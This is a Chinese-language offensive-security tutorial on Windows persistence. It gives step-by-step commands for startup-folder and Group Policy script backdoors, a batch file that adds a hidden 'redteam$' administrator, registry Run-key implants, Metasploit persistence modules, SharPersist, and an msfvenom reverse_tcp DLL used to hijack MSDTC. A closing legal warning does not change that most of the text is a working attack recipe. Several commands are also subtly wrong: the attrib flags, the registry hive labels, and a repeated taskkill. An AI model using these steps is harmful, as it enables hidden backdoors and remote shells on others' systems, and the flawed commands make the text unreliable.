Windows中有很多自动启动程序的方法,这些方法稍加利用可以即可帮助我们完成Windows下的权限维持,下文将分别从启动文件夹利用,组策略利用,注册表利用分别展开
启动文件夹利用思路较为简单,即将Payload文件放在启动文件夹,再利用文件隐藏技巧对Payload进行隐藏
- # 系统级自启动文件夹,需要System权限才能操作
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
- # 用户级自启动文件夹,文件夹所属用户登录可以操作
- C:\Users\${用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
-
1、将文件移植文件夹
2、对文件进行隐藏处理,如利用attrib为文件进行隐藏
- attrib -S -A -H -R test.txt
-
更多文件隐藏技巧可以参考《文件隐藏技巧在Windows权限维持中的应用》
组策略的利用方法与启动文件夹的利用思路基本一致,即在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件
- # 计算机启动时加载
- C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
- # 计算机关闭时加载
- C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
- # 只针对用户添加启动项
- C:\Windows\System32\GroupPolicy\User\Scripts\Logon
- C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
-
1、在启动项中添加启动脚本,如
- # 将下面作为bat文件,添加到启动项中
- echo off
- net user redteam$ redteam /add
- net localgroup administrators redteam$ /add
- exit
-
Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示。
注册表位置说明
- # HKEY_LOCAL_MACHINE类
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- # HKEY_CURRENT_USER类
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
-
说明:
1、HKEY_CURRENT_USER类,为用户级注册表,即只有当前用户登录才会触发自启动,其他用户登录不会触发。
2、HKEY_LOCAL_MACHINE类,为主机类注册表,即只要主机启动自启动项就会被触发。
3、Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行
4、Run与RunOnce键区别是,Run 键值每次开机均会被执行,RunOnce 键值只执行一次,操作执行后会被自动删除
语法说明
- REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
- [/reg:32 | /reg:64]
-
- KeyName [\\Machine\]FullKey
- Machine 远程机器名 - 忽略默认到当前机器。远程机器上
- 只有 HKLM 和 HKU 可用。
- FullKey ROOTKEY\SubKey
- ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
- SubKey 所选 ROOTKEY 下注册表项的完整名称。
-
- /v 所选项之下要添加的值名称。
-
- /ve 为注册表项添加空白值名称(默认)。
-
- /t RegKey 数据类型
- [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
- REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ]
- 如果忽略,则采用 REG_SZ。
-
- /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
- 如果忽略,则将 "\0" 用作分隔符。
-
- /d 要分配给添加的注册表 ValueName 的数据。
-
- /f 不用提示就强行覆盖现有注册表项。
-
- /reg:32 指定应该使用 32 位注册表视图访问的注册表项。
-
- /reg:64 指定应该使用 64 位注册表视图访问的注册表项。
-
举例
- reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Flash /t REG_SZ /d " E:\Flash.exe"
-
- # 1、run persistence用法
- -A 自动启动一个匹配的exploit / multi / handler来连接到代理
- -L <opt> 如果未使用%TEMP%,则在目标主机中写入有效负载的位置
- -P <opt> 使用哪个Payload,默认使用 windows/meterpreter/reverse_tcp.
- -S 作为服务自动启动代理程序(具有SYSTEM权限)
- -T <opt> 要使用的备用可执行模板
- -U 用户登录时自动启动代理
- -X 系统引导时自动启动代理程序
- -h 这个帮助菜单
- -i <opt> 每次连接尝试之间的时间间隔(秒)
- -p <opt> 运行Metasploit的系统正在侦听的端口
- -r <opt> 运行Metasploit监听连接的系统的IP
-
举例
- run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p msf端口 -r msf对应IP
-
- # 2、post/windows/manage/persistence_exe模块用法
- # 启动模块persistence_exe
- use post/windows/manage/persistence_exe
- # 设置要用的payload
- set REXEPATH /opt/msf/flash.exe
- # 查看要攻击的主机session
- sessions -l
- # 设置要攻击的主机session
- set SESSION 1
- # 设置植入哪类注册表,如以获得SYSTEM权限可以设置为 set STARTUP USER
- set STARTUP USER
- # 设置payload存放在目标主机的位置
- set LOCALEXEPATH C:\\tmp
- # 执行攻击
- run
-
SharPersist是C#编写的命令行工具,其主要为了解决使用多种不同的技术在Windows操作系统上建立持久性,该工具的主要功能为;
1、reg-注册表项添加/修改
2、keepass-keepass配置文件后门
3、schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务
4、startupfolder-启动文件夹中的lnk文件
5、tortoisesvn-乌龟svn钩子脚本
6、service-创建新的Windows服务
7、schtask-创建新的计划任务
此处演示以msf与SharPersist结合使用
- # 将SharPersist下载到你的msf服务下面(位置随便)
- wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
-
- # 将SharPersist.exe推送到你的目标机器方便一会用
- upload /opt/msf/SharPersist.exe E:\\
-
- # 使用SharPersist添加注册表
- SharPersist.exe -t reg -c "C:\Windows\System32\cmd.exe" -a "/c E:\Flash.exe" -k "hkcurun" -v "Flash" -m add
-
查看是否添加成功
msdtc,全称Microsoft Distributed Transaction Coordinator,是微软分布式传输协调程序,此服务主要时解决多数据源协调问题。此后门的利用原理为:因为MSDTC服务启动时会搜索并加载三个dll文件(oci.dll,SQLLib80.dll,xa80.dll),我们通过将Payload伪装为dll文件的方式,让MSDTC加载我们的木马程序。从而完成劫持过程
DLL劫持原理介绍
DLL劫持指的是,通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。我们可以利用此原理探索更多劫持手段
注册表所在位置为:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
dll存放路径为:C:\Windows\system32\
优先伪造系统不存在的dll避免因dll替换导致系统正在运行的功能收到影响
利用方法
此方法建立在已经拿到服务器的system账户权限情况下进行,关于提权可以参考本系列提权类文章
1、用msf生成利用dll
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=替换IP LPORT=替换端口 -f dll >oci.dll
-
2、将dll文件放到dll存放路径(C:\Windows\system32\)
- # 1、将payload下载到目标机本地
- upload /opt/msf/oci.dll E:\\
-
- # 2、进入目标机shell
- shell
-
- # 3、将payload移动到C:\Windows\System32
- move E:\oci.dll c:\Windows\System32
-
3、重启msdtc.exe
- # 1、杀死msdtc.exe
- taskkill /f /im msdtc.exe
-
- # 2、启动msdtc
- taskkill /f /im msdtc.exe
-
至此主机已上线
为了您和您家人的幸福,请不要利用文中技术在用户未授权情况下开展渗透测试!!!
《中华人民共和国刑法》
第二百八十五条
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚